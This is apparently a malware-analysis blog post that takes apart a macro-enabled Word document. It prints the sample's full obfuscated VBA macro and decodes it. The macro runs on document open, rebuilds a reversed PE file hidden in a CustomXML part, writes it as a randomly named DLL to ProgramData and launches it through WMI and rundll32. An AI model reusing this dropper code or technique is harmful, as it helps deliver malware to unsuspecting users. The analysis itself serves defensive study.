[Macro] Analysis of a Document-Based Malware Sample
Sample Information
File type: Docm
Hash: 014827baac8a836d570203d3ff88b22957dcedd1cc4eae49e4ac62334f4f4903
File size: 1,406,144 Byte
Starting the Analysis
Using olevba to inspect the embedded code reveals the following macro:
Sub obiwgfhsha()
End Sub
Private Function ylpdfpnmlbmswkm() As Variant
ylpdfpnmlbmswkm = Array("chs", "cht", "deu", "enu", "esn", "fra", "ita", "jpn", "kor", "rus")
End Function
Private Function cwqykutktzoyalcwyhbf() As Variant
cwqykutktzoyalcwyhbf = Array("A1", "BU", "CZ", "DA", "FI", "FR", "GR", "HE", "HEB", "HU", "IC", "IT", "KOR", "NE", "NO", "PL1", "RO", "RU", "SP")
End Function
Private Sub Document_Open()
zwxcnxajcshyp True
End Sub
Private Sub dtlqnhxneoffkjywab(kwzbshccypfxpbrc As Boolean)
If Dir(".gattaka") <> "" Then
MsgBox "Not applicable environment", vbCritical, "Error"
Else
End If
End Sub
Private Function tylkftcicrjxfvkh(jrdhrfrnwmiz As String) As Byte()
Dim tjsjtweivmxniyr As Long, cthcsdekmdaszjq As Long
Dim wzkjzdvximq() As Byte
Dim ayxhcvijnqwfjysy As Long
Dim sndhqsilovqxlairz As String
tjsjtweivmxniyr = Len(jrdhrfrnwmiz)
ReDim wzkjzdvximq(0 To tjsjtweivmxniyr / 2 - 1)
ayxhcvijnqwfjysy = LBound(wzkjzdvximq)
sndhqsilovqxlairz = rrhzspxkphvvy("137171")
For cthcsdekmdaszjq = tjsjtweivmxniyr - 1 To 0 Step -2
wzkjzdvximq(ayxhcvijnqwfjysy) = CByte(CLng(sndhqsilovqxlairz + (Mid(jrdhrfrnwmiz, cthcsdekmdaszjq, 2))))
ayxhcvijnqwfjysy = ayxhcvijnqwfjysy + 1
Next cthcsdekmdaszjq
tylkftcicrjxfvkh = wzkjzdvximq
End Function
Private Sub raeozmfjnymq(pvnynzivlnpbtfcckhkm As String, cpnptsrgjlywqowekc() As Byte, Optional tiifnysxfmhsk As Boolean = False)
Dim dehrfnjjvdqvcc As Integer
Dim vnffvklapudjuz As String
Dim qpichnhnlchfa As String
If Not tiifnysxfmhsk Then
dehrfnjjvdqvcc = FreeFile
Open pvnynzivlnpbtfcckhkm For Binary As #dehrfnjjvdqvcc
Put #dehrfnjjvdqvcc, 1, cpnptsrgjlywqowekc
Close #dehrfnjjvdqvcc
Else
vnffvklapudjuz = "Abnormal termination"
MsgBox vnffvklapudjuz, vbCritical
End If
End Sub
Public Function rrhzspxkphvvy(fdoeegskucopx As String, Optional ghsivksfeumnzg As Long = 3) As String
Dim jzlnlozvokud As Object
Dim pudllqzagmavmy As Long
Dim fmxstnluywhfyhfeagi As String
Set jzlnlozvokud = siudlfagynaqsgxowx(60, 510, 99, 2)
For pudllqzagmavmy = 1 To Len(fdoeegskucopx) Step ghsivksfeumnzg
fmxstnluywhfyhfeagi = fmxstnluywhfyhfeagi + jzlnlozvokud(CInt(Mid(fdoeegskucopx, pudllqzagmavmy, ghsivksfeumnzg)))
Next pudllqzagmavmy
rrhzspxkphvvy = fmxstnluywhfyhfeagi
End Function
Private Function siudlfagynaqsgxowx(gegsprvpfmdyscnbyit As Long, fbhkzyybhnzl As Long, uywjraarktmwpduqnygc As Long, rknjbtxnvcdpfsyob As Long) As Object
Dim whlhgdkoeq As Object
Dim esxcxsbnadcjdqp As Long
Set whlhgdkoeq = CreateObject("Scripting.Dictionary")
For esxcxsbnadcjdqp = gegsprvpfmdyscnbyit / rknjbtxnvcdpfsyob To fbhkzyybhnzl / rknjbtxnvcdpfsyob
whlhgdkoeq(esxcxsbnadcjdqp + uywjraarktmwpduqnygc) = Chr(esxcxsbnadcjdqp)
Next esxcxsbnadcjdqp
Set siudlfagynaqsgxowx = whlhgdkoeq
End Function
Private Function zmzddjxylinzyx(lpxbxbgcxxpgmj() As Byte, rmbcpbmsbs() As Byte) As Byte()
Dim cwwodgeulknd() As Byte
Dim tsvilkfgvtu As Long, smbekfvtubycqf As Long
ReDim cwwodgeulknd(0 To UBound(lpxbxbgcxxpgmj) + UBound(rmbcpbmsbs) + 1)
smbekfvtubycqf = 0
For tsvilkfgvtu = LBound(lpxbxbgcxxpgmj) To UBound(lpxbxbgcxxpgmj)
cwwodgeulknd(smbekfvtubycqf) = lpxbxbgcxxpgmj(tsvilkfgvtu)
smbekfvtubycqf = smbekfvtubycqf + 1
Next tsvilkfgvtu
For tsvilkfgvtu = LBound(rmbcpbmsbs) To UBound(rmbcpbmsbs)
cwwodgeulknd(smbekfvtubycqf) = rmbcpbmsbs(tsvilkfgvtu)
smbekfvtubycqf = smbekfvtubycqf + 1
Next tsvilkfgvtu
zmzddjxylinzyx = cwwodgeulknd
End Function
Private Function lcjsxjbkldksstie() As Byte()
Const retkrmjepnvpt = "174165"
Const kppsxxgzlizwzk = "145167175175"
Dim bvtmffmapjkqz As Integer
Dim phtlfmyqnkhwagf As Variant
Dim xijjpjosysboevz() As Byte
Dim asertrmporfilkp() As Byte
Dim qbtpnhioyfve() As Byte
Randomize
bvtmffmapjkqz = CInt(Rnd * 100)
If bvtmffmapjkqz > 100 Then
phtlfmyqnkhwagf = ylpdfpnmlbmswkm
Else
phtlfmyqnkhwagf = cwqykutktzoyalcwyhbf
End If
bvtmffmapjkqz = Rnd * UBound(phtlfmyqnkhwagf)
xijjpjosysboevz = phtlfmyqnkhwagf(bvtmffmapjkqz)
qbtpnhioyfve = zmzddjxylinzyx(rrhzspxkphvvy(retkrmjepnvpt), xijjpjosysboevz)
ReDim asertrmporfilkp(0 To 1)
asertrmporfilkp(0) = CInt(Rnd * 9 + 48)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
asertrmporfilkp = rrhzspxkphvvy(kppsxxgzlizwzk)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
lcjsxjbkldksstie = qbtpnhioyfve
End Function
Sub yoxtuitsmsvbjfepuxc()
zwxcnxajcshyp True
End Sub
Private Sub zwxcnxajcshyp(zdhyapqsagz As Boolean)
Const merrdjtosyhjjuraz = "166157191179213210202213196208167196215196191"
Const iujnoejlhsccsg = "218204209208202208215214157222204208211200213214210209196215204210209175200217200207160204208211200213214210209196215200224132191191145191213210210215191198204208217149"
Const qpwyadnvluauprq = "186204209150149194179213210198200214214182215196213215216211"
Const lwflmkaqbtsalhmvh = "218204209208202208215214157213210210215191198204208217149157186204209150149194179213210198200214214"
Const ichejlnhmywnfzndkdg = "203215215211157146146207210198196207203210214215146"
Dim pnjbsrngsgckjayoasd() As Byte
Dim diowrynmsjektmzbl As String
Dim nvplchnzsnuzfpoy As String
If Dir(".gattaka") <> "" Then
MsgBox "Obsolete environment, please, update", vbInformation
Else
If zdhyapqsagz Then
pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts(rrhzspxkphvvy(ichejlnhmywnfzndkdg)).SelectSingleNode("/").Text)
diowrynmsjektmzbl = lcjsxjbkldksstie
raeozmfjnymq rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
pnjbsrngsgckjayoasd = rrhzspxkphvvy(merrdjtosyhjjuraz)
Set fhfcsnunstz = GetObject(rrhzspxkphvvy(iujnoejlhsccsg))
Set xydisndhrfnkrmnael = fhfcsnunstz.Get(rrhzspxkphvvy(qpwyadnvluauprq))
Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
Set mpuduxzmupgceh = GetObject(rrhzspxkphvvy(lwflmkaqbtsalhmvh))
nvplchnzsnuzfpoy = rrhzspxkphvvy("213216209199207207150149131") + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + rrhzspxkphvvy("143204209204215")
vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
Else
End If
End If
End Sub
This code is obfuscated, so I followed the analysis process below:
1. Find the entry point
2. Identify the main function
3. Analyze the decoding routine
4. Analyze the main function
Finding the Entry Point
This code is embedded in a DOCM document and is triggered through Document_Open().
The document is configured to execute automatically when it is opened.
Private Sub Document_Open()
zwxcnxajcshyp True
End Sub
This is the starting point of execution, and zwxcnxajcshyp appears to be the main routine.
Identifying the Main Function
Private Sub zwxcnxajcshyp(zdhyapqsagz As Boolean)
Const merrdjtosyhjjuraz = "166157191179213210202213196208167196215196191"
Const iujnoejlhsccsg = "218204209208202208215214157222204208211200213214210209196215204210209175200217200207160204208211200213214210209196215200224132191191145191213210210215191198204208217149"
Const qpwyadnvluauprq = "186204209150149194179213210198200214214182215196213215216211"
Const lwflmkaqbtsalhmvh = "218204209208202208215214157213210210215191198204208217149157186204209150149194179213210198200214214"
Const ichejlnhmywnfzndkdg = "203215215211157146146207210198196207203210214215146"
Dim pnjbsrngsgckjayoasd() As Byte
Dim diowrynmsjektmzbl As String
Dim nvplchnzsnuzfpoy As String
If Dir(".gattaka") <> "" Then
MsgBox "Obsolete environment, please, update", vbInformation
Else
If zdhyapqsagz Then
pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts(rrhzspxkphvvy(ichejlnhmywnfzndkdg)).SelectSingleNode("/").Text)
diowrynmsjektmzbl = lcjsxjbkldksstie
raeozmfjnymq rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
pnjbsrngsgckjayoasd = rrhzspxkphvvy(merrdjtosyhjjuraz)
Set fhfcsnunstz = GetObject(rrhzspxkphvvy(iujnoejlhsccsg))
Set xydisndhrfnkrmnael = fhfcsnunstz.Get(rrhzspxkphvvy(qpwyadnvluauprq))
Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
Set mpuduxzmupgceh = GetObject(rrhzspxkphvvy(lwflmkaqbtsalhmvh))
nvplchnzsnuzfpoy = rrhzspxkphvvy("213216209199207207150149131") + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + rrhzspxkphvvy("143204209204215")
vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
Else
End If
End If
End Sub
Looking at this function, a few characteristics stand out:
1. It declares strings composed only of numbers.
2. It uses `rrhzspxkphvvy` whenever those strings are consumed.
Based on that, rrhzspxkphvvy is very likely the decoding function.
The remaining logic can be understood after decoding the strings.
Analyzing the Decoding Routine
Following the decoding routine leads to the code below:
Public Function rrhzspxkphvvy(fdoeegskucopx As String, Optional ghsivksfeumnzg As Long = 3) As String
Dim jzlnlozvokud As Object
Dim pudllqzagmavmy As Long
Dim fmxstnluywhfyhfeagi As String
Set jzlnlozvokud = siudlfagynaqsgxowx(60, 510, 99, 2)
For pudllqzagmavmy = 1 To Len(fdoeegskucopx) Step ghsivksfeumnzg
fmxstnluywhfyhfeagi = fmxstnluywhfyhfeagi + jzlnlozvokud(CInt(Mid(fdoeegskucopx, pudllqzagmavmy, ghsivksfeumnzg)))
Next pudllqzagmavmy
rrhzspxkphvvy = fmxstnluywhfyhfeagi
End Function
Private Function siudlfagynaqsgxowx(gegsprvpfmdyscnbyit As Long, fbhkzyybhnzl As Long, uywjraarktmwpduqnygc As Long, rknjbtxnvcdpfsyob As Long) As Object
Dim whlhgdkoeq As Object
Dim esxcxsbnadcjdqp As Long
Set whlhgdkoeq = CreateObject("Scripting.Dictionary")
For esxcxsbnadcjdqp = gegsprvpfmdyscnbyit / rknjbtxnvcdpfsyob To fbhkzyybhnzl / rknjbtxnvcdpfsyob
whlhgdkoeq(esxcxsbnadcjdqp + uywjraarktmwpduqnygc) = Chr(esxcxsbnadcjdqp)
Next esxcxsbnadcjdqp
Set siudlfagynaqsgxowx = whlhgdkoeq
End Function
In short, rrhzspxkphvvy splits the numeric string into 3-character chunks and interprets each chunk as a key into a dictionary.
The dictionary values are then concatenated into a decoded string.
That dictionary is produced by siudlfagynaqsgxowx.
1. ASCII codes from 30 to 255 are stored as dictionary values
2. The keys range from 129 to 353
3. The input string is split every three characters and used as a key
4. The attacker reconstructs the desired string from those values
Once the method is understood, the encoded strings can be decoded:
Const merrdjtosyhjjuraz = "C:\ProgramData\"
Const iujnoejlhsccsg = "winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"
Const qpwyadnvluauprq = "Win32_ProcessStartup"
Const lwflmkaqbtsalhmvh = "winmgmts:root\cimv2:Win32_Process"
Const ichejlnhmywnfzndkdg = "http://localhost/"
These are the strings recovered from the decoding step.
Analyzing the Main Function
Replacing the obfuscated values with the decoded strings makes the logic much easier to read:
pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts("http://localhost/").SelectSingleNode("/").Text)
diowrynmsjektmzbl = lcjsxjbkldksstie
raeozmfjnymq "C:\ProgramData\" + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
pnjbsrngsgckjayoasd = "C:\ProgramData\"
Set fhfcsnunstz = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set xydisndhrfnkrmnael = fhfcsnunstz.Get("Win32_ProcessStartup")
Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
Set mpuduxzmupgceh = GetObject("winmgmts:root\cimv2:Win32_Process")
nvplchnzsnuzfpoy = "rundll32" + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + ",init"
vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
The logic is much clearer after the decode step.
ActiveDocument.CustomXMLParts("http://localhost/").SelectSingleNode("/").Text
This code reads the content stored under the http://localhost/ CustomXML namespace in the OOXML structure.
If the malicious sample is renamed to .zip and unpacked, a file such as customXml/item1.xml can be found inside.
<custom-xml-content xmlns="http://localhost/">hex value</custom-xml-content>
The XML looks like this, although the actual hex data is much longer.
If that hex value is copied into HxD, it becomes an unknown file format at first glance. Looking at the tail of the file reveals its identity.

The resulting file is a PE file stored in reverse order.
At this point it is still not obvious whether the payload is an EXE or a DLL.
That becomes clear after looking a bit further into the code.
diowrynmsjektmzbl = lcjsxjbkldksstie
Here, lcjsxjbkldksstie is a function that returns a specific value.
Private Function lcjsxjbkldksstie() As Byte()
Const retkrmjepnvpt = "174165" 'KB
Const kppsxxgzlizwzk = "145167175175" '.dll
Dim bvtmffmapjkqz As Integer
Dim phtlfmyqnkhwagf As Variant
Dim xijjpjosysboevz() As Byte
Dim asertrmporfilkp() As Byte
Dim qbtpnhioyfve() As Byte
Randomize
bvtmffmapjkqz = CInt(Rnd * 100)
If bvtmffmapjkqz > 100 Then
phtlfmyqnkhwagf = ylpdfpnmlbmswkm
Else
phtlfmyqnkhwagf = cwqykutktzoyalcwyhbf
End If
bvtmffmapjkqz = Rnd * UBound(phtlfmyqnkhwagf)
xijjpjosysboevz = phtlfmyqnkhwagf(bvtmffmapjkqz)
qbtpnhioyfve = zmzddjxylinzyx(rrhzspxkphvvy(retkrmjepnvpt), xijjpjosysboevz)
ReDim asertrmporfilkp(0 To 1)
asertrmporfilkp(0) = CInt(Rnd * 9 + 48)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
asertrmporfilkp = rrhzspxkphvvy(kppsxxgzlizwzk)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
lcjsxjbkldksstie = qbtpnhioyfve
End Function
A quick analysis shows that this function constructs the output file name, which suggests that the recovered PE is a DLL.
A more detailed look shows that the malware generates the file name randomly.
At this point the overall behavior is mostly understood.
Remaining Logic
The remaining code sets the output path and then launches the generated DLL through rundll32.
Conclusion
This sample is a dropper that writes a DLL to disk and executes it.
댓글남기기